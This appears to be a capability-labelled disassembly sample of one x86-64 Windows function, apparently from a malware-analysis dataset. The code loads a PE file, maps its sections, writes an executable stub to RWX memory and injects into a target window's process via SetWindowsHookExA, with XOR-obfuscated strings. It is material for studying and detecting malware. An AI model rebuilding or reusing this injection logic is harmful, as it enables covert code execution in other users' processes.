Function at 0x1400045e0
Capabilities:
Access pe header
Allocate or change rwx memory
Encode data using xor
Get file size
Log keystrokes via application hook
Log keystrokes via polling
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xb8
mov rax, qword [0x14023db80]
xor rax, rsp
mov qword [rbp + 7], rax
mov rax, rdx
mov r15, rcx
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140004ee8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
xor ecx, ecx
lea r9d, [rsi + 4]
mov ebx, eax
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov rdx, rax
mov r8d, ebx
mov rcx, rdi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000468a
cmp dword [r12], 0x905a4d
je 0x14000469b
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12, r12
je 0x140004ee8
mov rcx, r12
mov qword [rsp + 0xb0], r14
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov r14, rax
test rax, rax
jne 0x14000475c
movabs rax, 0xab5e4b961f671a0
movabs rcx, 0x6bc38ad041cc14d0
mov qword [rbp - 0x49], rax
movabs rax, 0x788515a069347dbc
mov qword [rbp - 0x41], rax
movabs rax, 0xd63deca20e5075b5
movdqa xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x19], rcx
movabs rcx, 0x10a570d0495014d0
mov qword [rbp - 0x39], rax
movabs rax, 0xc4852cd064f814d0
mov qword [rbp - 0x11], rcx
movabs rcx, 0xd63de6d06b3414d0
xorps xmm0, xmmword [rbp - 0x19]
mov qword [rbp - 0x31], rax
movdqa xmm1, xmmword [rbp - 0x39]
mov qword [rbp - 9], rcx
lea rcx, [rbp - 0x49]
mov qword [rbp - 1], rax
xorps xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmmword [rbp - 0x49], xmm0
call fcn.140001920
xor al, al
jmp 0x140004b80
cmp byte [0x14007f62d], sil
mov eax, dword [0x14007f628]
movsd xmm0, qword [0x14007f620]
mov edi, dword [reloc.WS2_32.dll_accept]
mov dword [rbp - 0x41], eax
movzx eax, word [0x14007f62c]
mov qword [rsp + 0x100], r13
mov word [rbp - 0x3d], ax
movaps xmmword [rsp + 0xa0], xmm6
movsd qword [rbp - 0x49], xmm0
je 0x1400048f1
mov ecx, esi
cmp edi, 2
jl 0x1400048ab
movdqa xmm2, xmmword [0x14007f7b0]
mov ecx, 8
movdqa xmm3, xmmword [0x14007f7c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14007f800]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007f7d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x14007f620]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14007f7e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x49], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007f7d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x45]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007f7e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
xorps xmm2, xmm0
movd dword [rbp - 0x45], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x49]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x33
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xe
jl 0x1400048c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x49]
call fcn.1400022a0
mov dword [rbp - 0x21], esi
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
lea rdx, [rbp - 0x21]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, reloc.WS2_32.dll_sendto
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [rbp - 0x21]
test ebx, ebx
je 0x140004904
mov ecx, dword [0x14007f640]
movzx eax, byte [0x14007f644]
mov dword [rbp - 9], ecx
mov ecx, esi
mov byte [rbp - 5], al
movups xmm0, xmmword [0x14007f630]
movups xmmword [rbp - 0x19], xmm0
cmp edi, 2
jl 0x140004a9c
movdqa xmm0, xmmword [str.3333333333333333]
lea rdx, [rbp - 0x15]
movdqa xmm5, xmmword [0x14007f7b0]
movdqa xmm4, xmmword [0x14007f800]
movdqa xmm6, xmmword [0x14007f7d0]
movdqa xmmword [rbp - 0x49], xmm0
mov r8d, dword [rbp - 0x49]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14007f7e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007f7e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140004990
cmp ecx, 0x15
jge 0x140004ae1
movsxd rax, ecx
lea r8, [rbp - 0x19]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x33
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x15
jl 0x140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x19]
call fcn.1400022a0
movaps xmm6, xmmword [rsp + 0xa0]
nop dword [rax]
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140004b00
test r13d, r13d
je 0x140004e58
call fcn.140001f10
mov edx, ebx
mov rcx, rax
call fcn.140001bd0
call fcn.140001f10
mov edx, dword [r14 + 0x50]
mov r8d, 0x40
mov rcx, rax
call fcn.140001b30
mov r8, r14
mov rdx, r12
mov rcx, rax
mov r15, rax
call fcn.140005f20
test eax, eax
je 0x140004b66
mov r8, r14
mov rdx, r12
mov ecx, r13d
call fcn.1400060b0
test eax, eax
jne 0x140004ba4
call fcn.140001f10
mov rdx, r15
mov rcx, rax
call fcn.140001be0
xor al, al
mov r13, qword [rsp + 0x100]
mov r14, qword [rsp + 0xb0]
mov rcx, qword [rbp + 7]
xor rcx, rsp
call fcn.1400797e0
add rsp, 0xb8
pop r15
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
movzx ebx, word [r14 + 0x14]
movzx edi, si
add rbx, 0x2c
cmp si, word [r14 + 6]
jae 0x140004beb
add rbx, r14
nop word [rax + rax]
call fcn.140001f10
mov r8d, dword [rbx]
mov rcx, rax
mov edx, dword [rbx - 8]
add r8, r12
mov r9d, dword [rbx - 4]
add rdx, r15
call fcn.140001f80
inc di
lea rbx, [rbx + 0x28]
cmp di, word [r14 + 6]
jb 0x140004bc0
movabs rax, 0x6baf8ab441b814be
movabs rcx, 0x6bc38ad041cc14d0
mov qword [rbp - 0x49], rax
movabs rax, 0x10c970b4497e14bc
mov qword [rbp - 0x41], rax
movabs rax, 0xd63de6d06b3414bc
movdqa xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x19], rcx
movabs rcx, 0x10a570d0495014d0
mov qword [rbp - 0x39], rax
movabs rax, 0xc4852cd064f814d0
mov qword [rbp - 0x11], rcx
movabs rcx, 0xd63de6d06b3414d0
xorps xmm0, xmmword [rbp - 0x19]
mov qword [rbp - 0x31], rax
movdqa xmm1, xmmword [rbp - 0x39]
mov qword [rbp - 9], rcx
lea rcx, [rbp - 0x49]
mov qword [rbp - 1], rax
xorps xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmmword [rbp - 0x49], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.140001f10
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.140001b30
mov edx, reloc.WS2_32.dll_WSACleanup
mov qword [rbp - 0x21], rax
xor ecx, ecx
mov r8d, 0x3000
mov rdi, rax
lea r9d, [rdx - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [0x1400e0540]
mov rdx, rax
mov qword [rbp - 0x29], rax
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400e0550]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400e0560]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x1400e0570]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [str.D__H]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x1400e0590]
movsd qword [rax + 0x50], xmm1
mov ecx, dword [0x1400e0598]
mov dword [rax + 0x58], ecx
lea rcx, [rdi + 0x5c]
mov eax, dword [reloc.WS2_32.dll_getsockname]
lea rdi, [rdx + 0x5c]
mov qword [rbp - 0x19], rcx
mov qword [rax + rdx], rcx
mov qword [rdi + 0x10], r15
mov eax, dword [r14 + 0x28]
add rax, r15
mov qword [rdi + 8], rax
call fcn.140001f10
mov r8, qword [rbp - 0x29]
mov r9d, reloc.WS2_32.dll_WSACleanup
mov rdx, qword [rbp - 0x21]
mov rcx, rax
call fcn.140001f80
mov rdx, qword [rbp - 0x21]
mov r9d, r13d
mov r8, rbx
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rdi], 2
mov qword [rbp - 0x49], rax
je 0x140004da3
mov rbx, qword [rbp - 0x19]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r13d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.140001f10
mov r9d, Ordinal_27
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140001e60
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rdi], 2
jne 0x140004d65
mov rax, qword [rbp - 0x49]
mov rcx, rax
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.140001f10
mov rdx, qword [rbp - 0x21]
mov rcx, rax
call fcn.140001be0
mov rcx, qword [rbp - 0x29]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movzx edi, word [r14 + 0x14]
add rdi, 0x28
cmp si, word [r14 + 6]
jae 0x140004e40
add rdi, r14
mov eax, dword [rdi]
test eax, eax
je 0x140004e32
test dword [rdi + 0x14], 0x2000000
je 0x140004e32
xor ecx, ecx
mov edx, eax
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140001f10
mov edx, dword [rdi - 4]
mov r8, rbx
mov r9d, dword [rdi]
add rdx, r15
mov rcx, rax
call fcn.140001f80
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
inc si
add rdi, 0x28
cmp si, word [r14 + 6]
jb 0x140004de2
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, 1
jmp 0x140004b78
movabs rax, 0x4bb0f9b522a366a0
movabs rcx, 0x6bc38ad041cc14d0
mov qword [rbp - 0x49], rax
movabs rax, 0x7ed01fb669247bbe
mov qword [rbp - 0x41], rax
movabs rax, 0xd63de6d06b3e35b4
movdqa xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x19], rcx
movabs rcx, 0x10a570d0495014d0
mov qword [rbp - 0x39], rax
movabs rax, 0xc4852cd064f814d0
mov qword [rbp - 0x11], rcx
movabs rcx, 0xd63de6d06b3414d0
xorps xmm0, xmmword [rbp - 0x19]
mov qword [rbp - 0x31], rax
movdqa xmm1, xmmword [rbp - 0x39]
mov qword [rbp - 9], rcx
lea rcx, [rbp - 0x49]
mov qword [rbp - 1], rax
xorps xmm1, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmmword [rbp - 0x49], xmm0
call fcn.140001920
jmp 0x140004b76
movabs rax, 0x4ba7e3bc20ba7ab9
movabs rcx, 0x6bc38ad041cc14d0
mov qword [rbp - 0x49], rax
movabs rax, 0x10a570d0433c78b4
mov qword [rbp - 0x19], rcx
movabs rcx, 0x10a570d0495014d0
mov qword [rbp - 0x41], rax
movdqa xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x11], rcx
lea rcx, [rbp - 0x49]
xorps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x49], xmm0
call fcn.140001920
xor al, al
jmp 0x140004b88